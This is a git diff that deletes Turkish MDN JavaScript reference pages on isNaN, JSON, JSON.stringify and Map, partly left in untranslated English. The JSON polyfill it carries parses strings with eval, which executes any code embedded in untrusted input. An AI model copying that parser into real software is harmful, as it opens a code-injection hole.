yöntemini düşünmek için daha çok kullanıma yönelik bir yol vardır: <code>isNaN(x)</code> <code>false</code> değerini döndürürse, ifadeyi <code>NaN</code> döndürmeyen bir aritmetik ifadede <code>x</code> kullanabilirsiniz. <code>true</code> değerini döndürürse, <code>x</code> her aritmetik ifadeyi <code>NaN</code> döndürür. Bu, JavaScript'te,<code> isNaN(x) == true</code> değerinin, <code>NaN</code> döndüren <code>x - 0</code>'a eşdeğer olduğu anlamına gelir (JavaScript <code>x - 0 == NaN</code>'de her zaman <code>false</code> döndürür, bu nedenle test edemezsiniz). Aslında, <code>isNaN(x)</code>, <code>isNaN(x - 0)</code>, <code>isNaN(Number(x))</code>, <code>Number.isNaN(x - 0)</code> ve <code>Number.isNaN(Number(x))</code> her zaman aynı döndürür ve JavaScript <code>isNaN(x)</code> bu terimlerin her birini ifade etmek için mümkün olan en kısa biçimdir.</p> - -<p>Örneğin, bir işleve ait bir argümanın aritmetik olarak işlenebilir (bir sayı gibi "kullanılabilir") veya değilse ve varsayılan bir değer veya başka bir şey sağlamanız gerekip gerekmediğini test etmek için kullanabilirsiniz. Bu şekilde, içeriğe bağlı olarak değerleri dolaylı olarak dönüştürerek JavaScript'in sağladığı çok yönlülüğü kullanan bir işleve sahip olabilirsiniz.</p> - -<h2 id="Örnekler">Örnekler</h2> - -<pre class="brush: js">function artım(x) { - if (isNaN(x)) x = 0; - return x + 1; -} - -// Number.isNaN() ile aynı etki: -function artım(x) { - if (Number.isNaN(Number(x))) x = 0; - return x + 1; -} - -// Aşağıdaki durumlarda işlevin x argümanı için, -// isNaN(x) her zaman yanlıştır, ancak x gerçekten bir -// ancak aritmetik olarak kullanılabilir -// ifadeler -increment(''); // 1: "", 0'a dönüştürülür -increment(new String()); // 1: Boş bir dizeyi temsil eden dize nesnesi 0'a dönüştürülür -increment([]); // 1: [], 0'a dönüştürülür -increment(new Array()); // 1: Boş bir diziyi temsil eden dizi nesnesi 0'a dönüştürülür -increment('0'); // 1: "0", 0'a dönüştürülür -increment('1'); // 2: "1", 1'e dönüştürülür -increment('0.1'); // 1.1: "0.1", 0.1'a dönüştürülür. -increment('Infinity'); // Infinity: "Infinity", Infinity dönüştürülür -increment(null); // 1: null değeri 0'a dönüştürülür -increment(false); // 1: false değeri 0'a dönüştürülür -increment(true); // 2: true değeri 1'e dönüştürülür -increment(new Date()); // milisaniye cinsinden geçerli tarih/saati döndürür artı 1 - -// Aşağıdaki durumlarda işlevin x argümanı için, -// isNaN (x) her zaman falsetır ve x gerçekten bir sayıdır. -increment(-1); // 0 -increment(-0.1); // 0.9 -increment(0); // 1 -increment(1); // 2 -increment(2); // 3 -// ...ve bunun gibi... -increment(Infinity); // Infinity - -// Aşağıdaki durumlarda işlevin x argümanı için, -// isNaN(x) her zaman doğrudur ve x gerçekten bir sayı değildir, -// böylece fonksiyon 0 ile değiştirilir ve 1 döndürür -increment(String); // 1 -increment(Array); // 1 -increment('blabla'); // 1 -increment('-blabla'); // 1 -increment(0 / 0); // 1 -increment('0 / 0'); // 1 -increment(Infinity / Infinity); // 1 -increment(NaN); // 1 -increment(undefined); // 1 -increment(); // 1 - -// isNaN(x) her zaman isNaN(Number(x)) ile aynıdır, -// ama x'in varlığı burada zorunludur! -isNaN(x) == isNaN(Number(x)); // x == undefined dahil, x'in her değeri için true, - // çünkü isNaN(undefined) == true ve Number(undefined) NaN değerini döndürür, - // ama... -isNaN() == isNaN(Number()); // false, çünküisNaN() == true ve Number() == 0 -</pre> - -<h2 id="Özellikler">Özellikler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Şartname</th> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-isnan-number', 'isNaN')}}</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> - - - -<p>{{Compat("javascript.builtins.isNaN")}}</p> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<ul> - <li>{{jsxref("NaN")}}</li> - <li>{{jsxref("Number.isNaN()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/json/index.html b/files/tr/web/javascript/reference/global_objects/json/index.html deleted file mode 100644 index f458b5390e..0000000000 --- a/files/tr/web/javascript/reference/global_objects/json/index.html +++ /dev/null @@ -1,205 +0,0 @@ ---- -title: JSON -slug: Web/JavaScript/Reference/Global_Objects/JSON -tags: - - JSON - - JavaScript Nesneler - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/JSON ---- -<div>{{JSRef}}</div> - -<p>JSON nesnesi, <a href="http://json.org/">JavaScript Object Notasyonunu</a> çözümlemek ve değerleri JSON'a çevirmek için kullanılan metodları içinde barındırır. Çağırılamaz veya inşa edilemez, ve iki özelliği haricinde kendisine ait başka ilginç bir kullanılabilirliği de yoktur.</p> - -<h2 id="Açıklama">Açıklama</h2> - -<h3 id="JavaScript_Obje_Notasyonu">JavaScript Obje Notasyonu</h3> - -<p>JSON; nesneleri, dizileri, sayıları, dizeleri, boolean değerleri ve {{jsxref("null")}} değerini seri haline getirmek için kullanılan bir sözdizimidir. JavaScript sözdizimine bağlıdır ama farklılıkları da vardır: Her JavaScript, JSON olmadığı gibi her JSON da JavaScript olmayabilir. Buna da göz atın: <a href="http://timelessrepo.com/json-isnt-a-javascript-subset">JSON: The JavaScript subset that isn't</a>.</p> - -<table> - <caption>JavaScript ve JSON farklılıkları</caption> - <thead> - <tr> - <th scope="col">JavaScript tipi</th> - <th scope="col">JSON farklılıkları</th> - </tr> - </thead> - <tbody> - <tr> - <td>Nesneler ve Diziler</td> - <td>Property isimleri çift tırnaklı dizeler olmalıdır; sona konulan virgüller yasaktır.</td> - </tr> - <tr> - <td>Sayılar</td> - <td>Öne gelecek sıfırlar yasaktır( JSON.stringify'da sıfırlar göz ardı edilirler, ama JSON.parse'da SyntaxError döndürürler); bir ondalik noktanın devamında en az bir sayı gelmelidir.</td> - </tr> - <tr> - <td>Dizeler</td> - <td> - <p>Sadece sınırlı sayıda karakterin kaçmasına izin verilebilir; belli kontrol karakterleri yasaklanmıştır; Unicode satır ayırıcı (<a href="http://unicode-table.com/en/2028/">U+2028</a>) ve paragraf ayırıcı (<a href="http://unicode-table.com/en/2029/">U+2029</a>) karakterlerine izin verilir; dizeler çift tırnaklı olmalıdır. Aşağıdaki örneğe göz atarsanız; {{jsxref("JSON.parse()")}}'ın düzgün çalıştığını ve JavaScript olarak değerlendiği zaman bir {{jsxref("SyntaxError")}} döndürüldüğünü görebilirsiniz:</p> - - <pre class="brush: js"> -var code = '"\u2028\u2029"'; -JSON.parse(code); // düzgün çalışıyor. -eval(code); // hata veriyor. -</pre> - </td> - </tr> - </tbody> -</table> - -<p>Tüm JSON söz dizimi aşağıdaki gibidir:</p> - -<pre><var>JSON</var> = <strong>null</strong> - <em>or</em> <strong>true</strong> <em>or</em> <strong>false</strong> - <em>or</em> <var>JSONNumber</var> - <em>or</em> <var>JSONString</var> - <em>or</em> <var>JSONObject</var> - <em>or</em> <var>JSONArray</var> - -<var>JSONNumber</var> = <strong>-</strong> <var>PositiveNumber</var> - <em>or</em> <var>PositiveNumber</var> -<var>PositiveNumber</var> = DecimalNumber - <em>or</em> <var>DecimalNumber</var> <strong>.</strong> <var>Digits</var> - <em>or</em> <var>DecimalNumber</var> <strong>.</strong> <var>Digits</var> <var>ExponentPart</var> - <em>or</em> <var>DecimalNumber</var> <var>ExponentPart</var> -<var>DecimalNumber</var> = <strong>0</strong> - <em>or</em> <var>OneToNine</var> <var>Digits</var> -<var>ExponentPart</var> = <strong>e</strong> <var>Exponent</var> - <em>or</em> <strong>E</strong> <var>Exponent</var> -<var>Exponent</var> = <var>Digits</var> - <em>or</em> <strong>+</strong> <var>Digits</var> - <em>or</em> <strong>-</strong> <var>Digits</var> -<var>Digits</var> = <var>Digit</var> - <em>or</em> <var>Digits</var> <var>Digit</var> -<var>Digit</var> = <strong>0</strong> through <strong>9</strong> -<var>OneToNine</var> = <strong>1</strong> through <strong>9</strong> - -<var>JSONString</var> = <strong>""</strong> - <em>or</em> <strong>"</strong> <var>StringCharacters</var> <strong>"</strong> -<var>StringCharacters</var> = <var>StringCharacter</var> - <em>or</em> <var>StringCharacters</var> <var>StringCharacter</var> -<var>StringCharacter</var> = any character - <em>except</em> <strong>"</strong> <em>or</em> <strong>\</strong> <em>or</em> U+0000 through U+001F - <em>or</em> <var>EscapeSequence</var> -<var>EscapeSequence</var> = <strong>\"</strong> <em>or</em> <strong>\/</strong> <em>or</em> <strong>\\</strong> <em>or</em> <strong>\b</strong> <em>or</em> <strong>\f</strong> <em>or</em> <strong>\n</strong> <em>or</em> <strong>\r</strong> <em>or</em> <strong>\t</strong> - <em>or</em> <strong>\u</strong> <var>HexDigit</var> <var>HexDigit</var> <var>HexDigit</var> <var>HexDigit</var> -<var>HexDigit</var> = <strong>0</strong> through <strong>9</strong> - <em>or</em> <strong>A</strong> through <strong>F</strong> - <em>or</em> <strong>a</strong> through <strong>f</strong> - -<var>JSONObject</var> = <strong>{</strong> <strong>}</strong> - <em>or</em> <strong>{</strong> <var>Members</var> <strong>}</strong> -<var>Members</var> = <var>JSONString</var> <strong>:</strong> <var>JSON</var> - <em>or</em> <var>Members</var> <strong>,</strong> <var>JSONString</var> <strong>:</strong> <var>JSON</var> - -<var>JSONArray</var> = <strong>[</strong> <strong>]</strong> - <em>or</em> <strong>[</strong> <var>ArrayElements</var> <strong>]</strong> -<var>ArrayElements</var> = <var>JSON</var> - <em>or</em> <var>ArrayElements</var> <strong>,</strong> <var>JSON</var> -</pre> - -<p>Önemsiz boşluklar; <code><var>JSONNumber ve JSONString</var></code> dışında herhangi bir yerde kullanılabilirler (sayılar boşluk içeremezler) veya (Dizeler için, dizede karşılık gelen karakter olarak yorumlanır, veye hataya sebep verir). Tab karakteri (<a href="http://unicode-table.com/en/0009/">U+0009</a>), satırbaşı (<a href="http://unicode-table.com/en/000D/">U+000D</a>), line feed (<a href="http://unicode-table.com/en/000A/">U+000A</a>), ve boşluk (<a href="http://unicode-table.com/en/0020/">U+0020</a>) karakterleri tek kabul edilen boşluk karakterleridir.</p> - -<h2 id="Metotlar">Metotlar</h2> - -<dl> - <dt>{{jsxref("JSON.parse()")}}</dt> - <dd>Bir dizeyi; JSON olarak çözümler, opsiyonel olarak üretilen değer ve değerin özelliklerini de dönüştürebilir. Sonrasında değeri döndürür.</dd> - <dt>{{jsxref("JSON.stringify()")}}</dt> - <dd>Belirtilen değerle ilişkili JSON dizesini döndürür, opsiyonel olarak sadece belirlenen özellikleri ekler veya özellik değerlerini kullanıcı tanımlı biçimde değiştirir.</dd> -</dl> - -<h2 id="Polyfill">Polyfill</h2> - -<p><code>JSON</code> nesnesi eski tarayıcılar tarafından desteklenmemektedir. Bunun üstesinden geçici bir şekilde gelmek için scriptinizin başına aşağıdaki kodu ekleyebilirsiniz, bu şekilde aslen destenlenmediğinde <code>JSON</code> nesnesinin kullanımına izin verilmiş olur (Internet Explorer 6 gibi).</p> - -<p>Aşağıdaki algoritma asıl <code>JSON</code> nesnesinin bir taklididir.</p> - -<pre class="brush: js">if (!window.JSON) { - window.JSON = { - parse: function(sJSON) { return eval('(' + sJSON + ')'); }, - stringify: (function () { - var toString = Object.prototype.toString; - var hasOwnProperty = Object.prototype.hasOwnProperty; - var isArray = Array.isArray || function (a) { return toString.call(a) === '[object Array]'; }; - var escMap = {'"': '\\"', '\\': '\\\\', '\b': '\\b', '\f': '\\f', '\n': '\\n', '\r': '\\r', '\t': '\\t'}; - var escFunc = function (m) { return escMap[m] || '\\u' + (m.charCodeAt(0) + 0x10000).toString(16).substr(1); }; - var escRE = /[\\"\u0000-\u001F\u2028\u2029]/g; - return function stringify(value) { - if (value == null) { - return 'null'; - } else if (typeof value === 'number') { - return isFinite(value) ? value.toString() : 'null'; - } else if (typeof value === 'boolean') { - return value.toString(); - } else if (typeof value === 'object') { - if (typeof value.toJSON === 'function') { - return stringify(value.toJSON()); - } else if (isArray(value)) { - var res = '['; - for (var i = 0; i < value.length; i++) - res += (i ? ', ' : '') + stringify(value[i]); - return res + ']'; - } else if (toString.call(value) === '[object Object]') { - var tmp = []; - for (var k in value) { - // in case "hasOwnProperty" has been shadowed - if (hasOwnProperty.call(value, k)) - tmp.push(stringify(k) + ': ' + stringify(value[k])); - } - return '{' + tmp.join(', ') + '}'; - } - } - return '"' + value.toString().replace(escRE, escFunc) + '"'; - }; - })() - }; -} -</pre> - -<p><code>JSON</code> nesnesi için daha karmaşık ve bilindik <a class="external" href="http://remysharp.com/2010/10/08/what-is-a-polyfill/">polyfill</a>ler ise: <a class="link-https" href="https://github.com/douglascrockford/JSON-js">JSON2</a> ve <a class="external" href="http://bestiejs.github.com/json3">JSON3</a>'tür.</p> - -<h2 id="Özellikler">Özellikler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.12', 'JSON')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td>İlk tanım.</td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-json-object', 'JSON')}}</td> - <td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-json-object', 'JSON')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - -<div> -<div> -<div class="hidden">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerle oluşturulmuştur. Eğer bu verilere katkıda bulunmak isterseniz, lütfen <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> linkine göz atın ve bize pull request gönderin.</div> - -<p>{{Compat("javascript.builtins.JSON")}}</p> -</div> -</div> - -<h2 id="Ayrıca_Bakınız">Ayrıca Bakınız</h2> - -<ul> - <li>{{jsxref("Date.prototype.toJSON()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/json/stringify/index.html b/files/tr/web/javascript/reference/global_objects/json/stringify/index.html deleted file mode 100644 index 541e87d523..0000000000 --- a/files/tr/web/javascript/reference/global_objects/json/stringify/index.html +++ /dev/null @@ -1,313 +0,0 @@ ---- -title: JSON.stringify() -slug: Web/JavaScript/Reference/Global_Objects/JSON/stringify -translation_of: Web/JavaScript/Reference/Global_Objects/JSON/stringify ---- -<div>{{JSRef}}</div> - -<p><strong><code>JSON.stringify()</code></strong> metodu(fonksyionu) Javascript objesinin değerlerini JSON string'ine çevirir. Bu javascript nesnesi üzerinde değişiklik yapabilecek bir fonksiyon tanımlı ise nesne üzerinde çevirme işlemi yanında bunlar da yapılabilir.</p> - -<div>{{EmbedInteractiveExample("pages/js/json-stringify.html")}}</div> - - - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox"><code>JSON.stringify(<var>value</var>[, <var>replacer</var>[, <var>space</var>]])</code></pre> - -<h3 id="Parameters">Parameters</h3> - -<dl> - <dt><code>value</code></dt> - <dd>The value to convert to a JSON string.</dd> - <dt><code>replacer</code> {{optional_inline}}</dt> - <dd>A function that alters the behavior of the stringification process, or an array of {{jsxref("String")}} and {{jsxref("Number")}} objects that serve as a whitelist for selecting/filtering the properties of the value object to be included in the JSON string. If this value is null or not provided, all properties of the object are included in the resulting JSON string.</dd> - <dt><code>space</code> {{optional_inline}}</dt> - <dd>A {{jsxref("String")}} or {{jsxref("Number")}} object that's used to insert white space into the output JSON string for readability purposes. If this is a <code>Number</code>, it indicates the number of space characters to use as white space; this number is capped at 10 (if it is greater, the value is just 10). Values less than 1 indicate that no space should be used. If this is a <code>String</code>, the string (or the first 10 characters of the string, if it's longer than that) is used as white space. If this parameter is not provided (or is null), no white space is used.</dd> -</dl> - -<h3 id="Return_value">Return value</h3> - -<p>A JSON string representing the given value.</p> - -<h3 id="Exceptions">Exceptions</h3> - -<p>Throws a {{jsxref("TypeError")}} ("cyclic object value") exception when a circular reference is found.</p> - -<h2 id="Description">Description</h2> - -<p><code>JSON.stringify()</code> converts a value to JSON notation representing it:</p> - -<ul> - <li>If the value has a <a href="#toJSON()_behavior">toJSON()</a> method, it's responsible to define what data will be serialized.</li> - <li>{{jsxref("Boolean")}}, {{jsxref("Number")}}, and {{jsxref("String")}} objects are converted to the corresponding primitive values during stringification, in accord with the traditional conversion semantics.</li> - <li>If {{jsxref("undefined")}}, a {{jsxref("Function")}}, or a {{jsxref("Symbol")}} is encountered during conversion it is either omitted (when it is found in an object) or censored to {{jsxref("null")}} (when it is found in an array). <code>JSON.stringify()</code> can also just return <code>undefined</code> when passing in "pure" values like <code>JSON.stringify(function(){})</code> or <code>JSON.stringify(undefined)</code>.</li> - <li>All {{jsxref("Symbol")}}-keyed properties will be completely ignored, even when using the <code>replacer</code> function.</li> - <li>The instances of {{jsxref("Date")}} implement the <code>toJSON()</code> function by returning a string (the same as <code>date.toISOString()</code>), thus they are treated as strings.</li> - <li>The numbers {{jsxref("Infinity")}} and {{jsxref("NaN")}} as well as the object {{jsxref("null")}} are all considered as <code>null</code>.</li> - <li>For all the other {{jsxref("Object")}} instances (including {{jsxref("Map")}}, {{jsxref("Set")}}, {{jsxref("WeakMap")}} and {{jsxref("WeakSet")}}), only their enumerable properties will be serialized.</li> -</ul> - -<pre class="brush: js">JSON.stringify({}); // '{}' -JSON.stringify(true); // 'true' -JSON.stringify('foo'); // '"foo"' -JSON.stringify([1, 'false', false]); // '[1,"false",false]' -JSON.stringify([NaN, null, Infinity]); // '[null,null,null]' -JSON.stringify({ x: 5 }); // '{"x":5}' - -JSON.stringify(new Date(2006, 0, 2, 15, 4, 5)) -// '"2006-01-02T15:04:05.000Z"' - -JSON.stringify({ x: 5, y: 6 }); -// '{"x":5,"y":6}' -JSON.stringify([new Number(3), new String('false'), new Boolean(false)]); -// '[3,"false",false]' - -// String-keyed array elements are not enumerable and make no sense in JSON -let a = ['foo', 'bar']; -a['baz'] = 'quux'; // a: [ 0: 'foo', 1: 'bar', baz: 'quux' ] -JSON.stringify(a); -// '["foo","bar"]' - -JSON.stringify({ x: [10, undefined, function(){}, Symbol('')] }); -// '{"x":[10,null,null,null]}' - -// Standard data structures -JSON.stringify([new Set([1]), new Map([[1, 2]]), new WeakSet([{a: 1}]), new WeakMap([[{a: 1}, 2]])]); -// '[{},{},{},{}]' - -// TypedArray -JSON.stringify([new Int8Array([1]), new Int16Array([1]), new Int32Array([1])]); -// '[{"0":1},{"0":1},{"0":1}]' -JSON.stringify([new Uint8Array([1]), new Uint8ClampedArray([1]), new Uint16Array([1]), new Uint32Array([1])]); -// '[{"0":1},{"0":1},{"0":1},{"0":1}]' -JSON.stringify([new Float32Array([1]), new Float64Array([1])]); -// '[{"0":1},{"0":1}]' - -// toJSON() -JSON.stringify({ x: 5, y: 6, toJSON(){ return this.x + this.y; } }); -// '11' - -// Symbols: -JSON.stringify({ x: undefined, y: Object, z: Symbol('') }); -// '{}' -JSON.stringify({ [Symbol('foo')]: 'foo' }); -// '{}' -JSON.stringify({ [Symbol.for('foo')]: 'foo' }, [Symbol.for('foo')]); -// '{}' -JSON.stringify({ [Symbol.for('foo')]: 'foo' }, function(k, v) { - if (typeof k === 'symbol') { - return 'a symbol'; - } -}); -// undefined - -// Non-enumerable properties: -JSON.stringify( Object.create(null, { x: { value: 'x', enumerable: false }, y: { value: 'y', enumerable: true } }) ); -// '{"y":"y"}' -</pre> - -<h3 id="The_replacer_parameter"><a id="The replacer parameter" name="The replacer parameter"></a>The <code>replacer</code> parameter</h3> - -<p>The <code>replacer</code> parameter can be either a function or an array. As a function, it takes two parameters, the key and the value being stringified. The object in which the key was found is provided as the replacer's <code>this</code> parameter. Initially it gets called with an empty string as key representing the object being stringified, and it then gets called for each property on the object or array being stringified. It should return the value that should be added to the JSON string, as follows:</p> - -<ul> - <li>If you return a {{jsxref("Number")}}, the string corresponding to that number is used as the value for the property when added to the JSON string.</li> - <li>If you return a {{jsxref("String")}}, that string is used as the property's value when adding it to the JSON string.</li> - <li>If you return a {{jsxref("Boolean")}}, "true" or "false" is used as the property's value, as appropriate, when adding it to the JSON string.</li> - <li>If you return <code>null</code>, <code>null</code> will be added to the JSON string.</li> - <li>If you return any other object, the object is recursively stringified into the JSON string, calling the <code>replacer</code> function on each property, unless the object is a function, in which case nothing is added to the JSON string.</li> - <li>If you return <code>undefined</code>, the property is not included (i.e., filtered out) in the output JSON string.</li> -</ul> - -<div class="note"><strong>Note:</strong> You cannot use the <code>replacer</code> function to remove values from an array. If you return <code>undefined</code> or a function then <code>null</code> is used instead.</div> - -<div class="note"><strong>Note:</strong> If you wish the replacer to distinguish an initial object from a key with an empty string property (since both would give the empty string as key and potentially an object as value), you will have to keep track of the iteration count (if it is beyond the first iteration, it is a genuine empty string key).</div> - -<h4 id="Example_with_a_function">Example with a function</h4> - -<pre class="brush: js">function replacer(key, value) { - // Filtering out properties - if (typeof value === 'string') { - return undefined; - } - return value; -} - -var foo = {foundation: 'Mozilla', model: 'box', week: 45, transport: 'car', month: 7}; -JSON.stringify(foo, replacer); -// '{"week":45,"month":7}' -</pre> - -<h4 id="Example_with_an_array">Example with an array</h4> - -<p>If <code>replacer</code> is an array, the array's values indicate the names of the properties in the object that should be included in the resulting JSON string.</p> - -<pre class="brush: js">JSON.stringify(foo, ['week', 'month']); -// '{"week":45,"month":7}', only keep "week" and "month" properties -</pre> - -<h3 id="The_space_argument"><a id="The space argument" name="The space argument"></a>The <code>space</code> argument</h3> - -<p>The <code>space</code> argument may be used to control spacing in the final string. If it is a number, successive levels in the stringification will each be indented by this many space characters (up to 10). If it is a string, successive levels will be indented by this string (or the first ten characters of it).</p> - -<pre class="brush: js">JSON.stringify({ a: 2 }, null, ' '); -// '{ -// "a": 2 -// }' -</pre> - -<p>Using a tab character mimics standard pretty-print appearance:</p> - -<pre class="brush: js">JSON.stringify({ uno: 1, dos: 2 }, null, '\t'); -// returns the string: -// '{ -// "uno": 1, -// "dos": 2 -// }' -</pre> - -<h3 id="toJSON()_behavior"><code>toJSON()</code> behavior</h3> - -<p>If an object being stringified has a property named <code>toJSON</code> whose value is a function, then the <code>toJSON()</code> method customizes JSON stringification behavior: instead of the object being serialized, the value returned by the <code>toJSON()</code> method when called will be serialized. <code>JSON.stringify()</code> calls <code>toJSON</code> with one parameter:</p> - -<ul> - <li>if this object is a property value, the property name</li> - <li>if it is in an array, the index in the array, as a string</li> - <li>an empty string if <code>JSON.stringify()</code> was directly called on this object</li> -</ul> - -<p>For example:</p> - -<pre class="brush: js">var obj = { - data: 'data', - - toJSON(key){ - if(key) - return `Now I am a nested object under key '${key}'`; - - else - return this; - } -}; - -JSON.stringify(obj); -// '{"data":"data"}' - -JSON.stringify({ obj }) -// '{"obj":"Now I am a nested object under key 'obj'"}' - -JSON.stringify([ obj ]) -// '["Now I am a nested object under key '0'"]' -</pre> - -<h3 id="Issue_with_JSON.stringify()_when_serializing_circular_references">Issue with <code>JSON.stringify()</code> when serializing circular references</h3> - -<p>Note that since the <a href="https://www.json.org/">JSON format</a> doesn't support object references (although an <a href="http://tools.ietf.org/html/draft-pbryan-zyp-json-ref-03">IETF draft exists</a>), a {{jsxref("TypeError")}} will be thrown if one attempts to encode an object with circular references.</p> - -<pre class="brush: js example-bad">const circularReference = {}; -circularReference.myself = circularReference; - -// Serializing circular references throws "TypeError: cyclic object value" -JSON.stringify(circularReference); -</pre> - -<p>To serialize circular references you can use a library that supports them (e.g. <a href="https://github.com/douglascrockford/JSON-js/blob/master/cycle.js">cycle.js</a> by Douglas Crockford) or implement a solution by yourself, which will require finding and replacing (or removing) the cyclic references by serializable values.</p> - -<h3 id="Issue_with_plain_JSON.stringify_for_use_as_JavaScript">Issue with plain <code>JSON.stringify</code> for use as JavaScript</h3> - -<p>Note that JSON is <a href="http://timelessrepo.com/json-isnt-a-javascript-subset">not a completely strict subset of JavaScript</a>, with two line terminators (Line separator and Paragraph separator) not needing to be escaped in JSON but needing to be escaped in JavaScript. Therefore, if the JSON is meant to be evaluated or directly utilized within <a href="https://en.wikipedia.org/wiki/JSONP">JSONP</a>, the following utility can be used:</p> - -<pre class="brush: js">function jsFriendlyJSONStringify (s) { - return JSON.stringify(s). - replace(/\u2028/g, '\\u2028'). - replace(/\u2029/g, '\\u2029'); -} - -var s = { - a: String.fromCharCode(0x2028), - b: String.fromCharCode(0x2029) -}; -try { - eval('(' + JSON.stringify(s) + ')'); -} catch (e) { - console.log(e); // "SyntaxError: unterminated string literal" -} - -// No need for a catch -eval('(' + jsFriendlyJSONStringify(s) + ')'); - -// console.log in Firefox unescapes the Unicode if -// logged to console, so we use alert -alert(jsFriendlyJSONStringify(s)); // {"a":"\u2028","b":"\u2029"}</pre> - -<h3 id="Example_of_using_JSON.stringify()_with_localStorage">Example of using <code>JSON.stringify()</code> with <code>localStorage</code></h3> - -<p>In a case where you want to store an object created by your user and allowing it to be restored even after the browser has been closed, the following example is a model for the applicability of <code>JSON.stringify()</code>:</p> - -<pre class="brush: js">// Creating an example of JSON -var session = { - 'screens': [], - 'state': true -}; -session.screens.push({ 'name': 'screenA', 'width': 450, 'height': 250 }); -session.screens.push({ 'name': 'screenB', 'width': 650, 'height': 350 }); -session.screens.push({ 'name': 'screenC', 'width': 750, 'height': 120 }); -session.screens.push({ 'name': 'screenD', 'width': 250, 'height': 60 }); -session.screens.push({ 'name': 'screenE', 'width': 390, 'height': 120 }); -session.screens.push({ 'name': 'screenF', 'width': 1240, 'height': 650 }); - -// Converting the JSON string with JSON.stringify() -// then saving with localStorage in the name of session -localStorage.setItem('session', JSON.stringify(session)); - -// Example of how to transform the String generated through -// JSON.stringify() and saved in localStorage in JSON object again -var restoredSession = JSON.parse(localStorage.getItem('session')); - -// Now restoredSession variable contains the object that was saved -// in localStorage -console.log(restoredSession); -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.12.3', 'JSON.stringify')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td>Initial definition. Implemented in JavaScript 1.7.</td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-json.stringify', 'JSON.stringify')}}</td> - <td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-json.stringify', 'JSON.stringify')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div> - - -<p>{{Compat("javascript.builtins.JSON.stringify")}}</p> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("JSON.parse()")}}</li> - <li><a href="https://github.com/douglascrockford/JSON-js/blob/master/cycle.js">cycle.js</a> – Introduces two functions, <code>JSON.decycle</code> and <code>JSON.retrocycle</code>, which makes it possible to encode and decode cyclical structures and dags into an extended and retrocompatible JSON format.</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/map/index.html b/files/tr/web/javascript/reference/global_objects/map/index.html deleted file mode 100644 index 67f46594f6..0000000000 --- a/files/tr/web/javascript/reference/global_objects/map/index.html +++ /dev/null @@ -1,207 +0,0 @@ ---- -title: Map -slug: Web/JavaScript/Reference/Global_Objects/Map -tags: - - ECMAScript 2015 - - JavaScript - - Map - - NeedsTranslation - - TopicStub -translation_of: Web/JavaScript/Reference/Global_Objects/Map ---- -<div>{{JSRef}}</div> - -<p><span class="seoSummary">The <strong><code>Map</code></strong> object holds key-value pairs.</span> Any value (both objects and {{Glossary("Primitive", "primitive values")}}) may be used as either a key or a value.</p> - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox">new Map([<em>iterable</em>])</pre> - -<h3 id="Parameters">Parameters</h3> - -<dl> - <dt><code>iterable</code></dt> - <dd>An {{jsxref("Array")}} or other <a href="/en-US/docs/Web/JavaScript/Guide/iterable">iterable</a> object whose elements are key-value pairs (arrays with two elements, e.g. <code>[[ 1, 'one' ],[ 2, 'two' ]]</code>). Each key-value pair is added to the new <code>Map</code>; <code>null</code> values are treated as <code>undefined</code>.</dd> -</dl> - -<h2 id="Description">Description</h2> - -<p>A <code>Map</code> object iterates its elements in insertion order — a {{jsxref("Statements/for...of", "for...of")}} loop returns an array of <code>[key, value]</code> for each iteration.<br> - <br> - It should be noted that a <code>Map</code> which is a map of an object, especially a dictionary of dictionaries, will only map to the object's insertion order—which is random and not ordered.</p> - -<h3 id="Key_equality">Key equality</h3> - -<p>Key equality is based on the "SameValueZero" algorithm: <code>NaN</code> is considered the same as <code>NaN</code> (even though <code>NaN !== NaN</code>) and all other values are considered equal according to the semantics of the <code>===</code> operator. In the current ECMAScript specification <code>-0</code> and <code>+0</code> are considered equal, although this was not so in earlier drafts. See "Value equality for -0 and 0" in the <a href="#Browser_compatibility">browser compatibility</a> table for details.</p> - -<h3 id="Objects_and_maps_compared">Objects and maps compared</h3> - -<p>{{jsxref("Object", "Objects")}} are similar to <code>Maps</code> in that both let you set keys to values, retrieve those values, delete keys, and detect whether something is stored at a key. Because of this (and because there were no built-in alternatives), <code>Object</code>s have been used as <code>Maps</code> historically; however, there are important differences that make using a <code>Map</code> preferable in certain cases:</p> - -<ul> - <li>The keys of an <code>Object</code> are {{jsxref("String", "Strings")}} and {{jsxref("Symbol", "Symbols")}}, whereas they can be any value for a <code>Map</code>, including functions, objects, and any primitive.</li> - <li>You can get the size of a <code>Map</code> easily with the <code>size</code> property, while the number of properties in an <code>Object</code> must be determined manually.</li> - 